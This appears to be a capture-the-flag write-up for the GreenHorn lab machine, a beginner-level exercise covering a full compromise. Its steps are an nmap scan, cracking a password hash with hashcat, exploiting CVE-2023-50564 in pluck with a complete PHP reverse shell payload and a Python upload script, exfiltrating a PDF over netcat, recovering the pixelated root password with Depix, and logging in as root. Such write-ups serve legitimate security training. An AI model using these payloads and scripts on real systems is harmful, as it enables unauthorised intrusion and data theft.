Explore the fundamentals of cybersecurity in the GreenHorn Capture The Flag (CTF) challenge, an easy-level experience, ideal for beginners! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible and perfect for those new to CTFs.

Add Hosts#

Edit the /etc/hosts file and add the following entries:

10.10.11.25 greenhorn.htb

Script to add hosts automatically#

ip="10.10.11.25"
domain="greenhorn.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping#

nmap -sCV greenhorn.htb

Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-23 20:44 CEST
Nmap scan report for greenhorn.htb (10.10.11.25)
Host is up (0.054s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
|_  256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
| http-robots.txt: 2 disallowed entries 
|_/data/ /docs/
|_http-generator: pluck 4.7.18
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-title: Welcome to GreenHorn ! - GreenHorn
|_Requested resource was http://greenhorn.htb/?file=welcome-to-greenhorn
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-trane-info: Problem with XML parsing of /evox/about
3000/tcp open  http    Golang net/http server
|_http-title: GreenHorn
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=4f825f00413b3738; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=PO06CAlfgCMxfL3ecdHhxioegxc6MTcyNzExNzA1NDMyNTc3NTM5NA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Mon, 23 Sep 2024 18:44:14 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-auto">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>GreenHorn</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=1e951e005f14b654; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=D4RMh2kVbGeAvsZIUuEbR60hd8M6MTcyNzExNzA1NDY1NjcwNjk5OQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Mon, 23 Sep 2024 18:44:14 GMT
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.95%I=7%D=9/23%Time=66F1B6FE%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,2A60,"HTTP/1\.0\x20200\x20OK\r\nCache-Control:
SF:\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nConte
SF:nt-Type:\x20text/html;\x20charset=utf-8\r\nSet-Cookie:\x20i_like_gitea=
SF:4f825f00413b3738;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Cookie
SF::\x20_csrf=PO06CAlfgCMxfL3ecdHhxioegxc6MTcyNzExNzA1NDMyNTc3NTM5NA;\x20P
SF:ath=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Option
SF:s:\x20SAMEORIGIN\r\nDate:\x20Mon,\x2023\x20Sep\x202024\x2018:44:14\x20G
SF:MT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme-
SF:auto\">\n<head>\n\t<meta\x20name=\"viewport\"\x20content=\"width=device
SF:-width,\x20initial-scale=1\">\n\t<title>GreenHorn</title>\n\t<link\x20r
SF:el=\"manifest\"\x20href=\"data:application/json;base64,eyJuYW1lIjoiR3Jl
SF:ZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9
SF:ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm
SF:4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJza
SF:XplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX")
SF:%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
SF:equest")%r(HTTPOptions,197,"HTTP/1\.0\x20405\x20Method\x20Not\x20Allowe
SF:d\r\nAllow:\x20HEAD\r\nAllow:\x20GET\r\nCache-Control:\x20max-age=0,\x2
SF:0private,\x20must-revalidate,\x20no-transform\r\nSet-Cookie:\x20i_like_
SF:gitea=1e951e005f14b654;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-
SF:Cookie:\x20_csrf=D4RMh2kVbGeAvsZIUuEbR60hd8M6MTcyNzExNzA1NDY1NjcwNjk5OQ
SF:;\x20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-
SF:Options:\x20SAMEORIGIN\r\nDate:\x20Mon,\x2023\x20Sep\x202024\x2018:44:1
SF:4\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\
SF:x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf
SF:-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Obtaining the Password#

Explore the site’s source code:

Brute Force the Hash#

Use a hash cracking tool like hashcat or John the Ripper to perform a brute force attack on the password hash, or use a service such as crackstation for this purpose.

echo -n "Password Hash? -->" ; read hash
echo "$hash" > /tmp/hash.txt
hashcat -m 1700 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt
hashcat -m 1700 /tmp/hash.txt --show
rm -rf /tmp/hash.txt

Exploiting CVE-2023-50564#

PHP Reverse Shell Payload:

Replace <vpn-ip> with your actual VPN IP to receive the connection.

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '<vpn-ip>';
$port = 9001;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
   $pid = pcntl_fork();
   if ($pid == -1) {
      printit("ERROR: Can't fork");
      exit(1);
   }
   if ($pid) {
      exit(0);
   }
   if (posix_setsid() == -1) {
      printit("Error: Can't setsid()");
      exit(1);
   }
   $daemon = 1;
} else {
   printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
   printit("$errstr ($errno)");
   exit(1);
}
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "w") 
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
   printit("ERROR: Can't spawn shell");
   exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
   if (feof($sock)) {
      printit("ERROR: Shell connection terminated");
      break;
   }
   if (feof($pipes[1])) {
      printit("ERROR: Shell process terminated");
      break;
   }
   $read_a = array($sock, $pipes[1], $pipes[2]);
   $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
   if (in_array($sock, $read_a)) {
      if ($debug) printit("SOCK READ");
      $input = fread($sock, $chunk_size);
      if ($debug) printit("SOCK: $input");
      fwrite($pipes[0], $input);
   }
   if (in_array($pipes[1], $read_a)) {
      if ($debug) printit("STDOUT READ");
      $input = fread($pipes[1], $chunk_size);
      if ($debug) printit("STDOUT: $input");
      fwrite($sock, $input);
   }
   if (in_array($pipes[2], $read_a)) {
      if ($debug) printit("STDERR READ");
      $input = fread($pipes[2], $chunk_size);
      if ($debug) printit("STDERR: $input");
      fwrite($sock, $input);
   }
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
   if (!$daemon) {
      print "$string\n";
   }
}
?> 

Compress the shell script:

  • Replace the IP with your VPN IP in the shell payload.
  • Zip the shell.php: zip payload.zip shell.php

Start the listener on your machine:

nc -lvnp 9001

Upload the ZIP via the admin panel using this Python script:

#!/bin/python
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
login_url = "http://greenhorn.htb/login.php"
upload_url = "http://greenhorn.htb/admin.php?action=installmodule"
headers = {"Referer": login_url,}
login_payload = {"cont1": "iloveyou1","bogus": "","submit": "Log in"}
file_path = "payload.zip"
multipart_data = MultipartEncoder(
    fields={
        "sendfile": ("payload.zip", open(file_path, "rb"), "application/zip"),
        "submit": "Upload"
    }
)
session = requests.Session()
login_response = session.post(login_url, headers=headers, data=login_payload)
if login_response.status_code == 200:
    print("Login account")
    upload_headers = {
        "Referer": upload_url,
        "Content-Type": multipart_data.content_type
    }
    upload_response = session.post(upload_url, headers=upload_headers, data=multipart_data)
    if upload_response.status_code == 200:
        print("ZIP file download.")
    else:
        print("ZIP file download error. Response code:", upload_response.status_code)
else:
    print("Login problem. response code:", login_response.status_code)
rce_url="http://greenhorn.htb/data/modules/payload/shell.php"
rce=requests.get(rce_url)
print(rce.text)

Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'

Press Ctrl+Z to background the shell, then run:

stty size; stty raw -echo; fg

As the last step, set the terminal environment:

export TERM=xterm;

Getting User Privileges#

Once inside the shell, switch to the junior user:

su junior
cd /home/junior
cat user.txt

Transferring File Using OpenVAS.pdf#

Start a listener on your local machine to receive the file:

nc -lvp 1234 > "Using OpenVAS.pdf"

Send the file from the remote machine:

nc <vpn-ip> 1234 < 'Using OpenVAS.pdf'

Recovering a Pixelated Password#

Use Depix to Recover the Text:

  • run Depix to attempt recovering the password from the pixelated text.
pdfimages 'Using OpenVAS.pdf' reference
imgpath=$(realpath reference-000.ppm)
depix -p $imgpath -s images/searchimages/debruinseq_notepad_Windows10_close.png -o $(realpath pswoutput.png)
rm -rf reference-000.ppm

Open the resulting image using an image viewer:

feh pswoutput.png

SSH Access#

With the recovered password, log in via SSH:

ssh root@greenhorn.htb
cat /root/root.txt